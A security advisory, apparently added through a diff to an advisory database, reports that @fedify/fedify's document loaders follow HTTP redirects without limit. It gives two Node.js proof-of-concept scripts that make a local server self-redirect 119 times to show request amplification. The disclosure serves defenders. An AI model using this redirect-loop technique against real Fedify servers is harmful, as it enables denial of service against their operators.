+ "details": "### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n count += 1;\n\n if (count < redirectCount) {\n res.writeHead(302, {\n Location: `http://127.0.0.1:${port}/actor`,\n });\n res.end();\n return;\n }\n\n res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n res.end(JSON.stringify({\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"id\": `http://127.0.0.1:${port}/actor`,\n \"type\": \"Person\"\n }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n const loader = getDocumentLoader({ allowPrivateAddress: true });\n await loader(`http://127.0.0.1:${port}/actor`);\n console.log({ count });\n} finally {\n server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n generateCryptoKeyPair,\n getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n count += 1;\n\n if (count < redirectCount) {\n res.writeHead(302, {\n Location: `http://127.0.0.1:${port}/actor`,\n });\n res.end();\n return;\n }\n\n res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n res.end(JSON.stringify({\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"id\": `http://127.0.0.1:${port}/actor`,\n \"type\": \"Person\"\n }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n const { privateKey } = await generateCryptoKeyPair();\n const loader = getAuthenticatedDocumentLoader(\n {\n privateKey,\n keyId: new URL(\"https://example.com/users/index#main-key\"),\n },\n { allowPrivateAddress: true },\n );\n\n await loader(`http://127.0.0.1:${port}/actor`);\n console.log({ count });\n} finally {\n server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. **The original reporter should be credited for the discovery**.\n\nIn case you accept this advisory please coordinate time of disclosure and credit with us",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments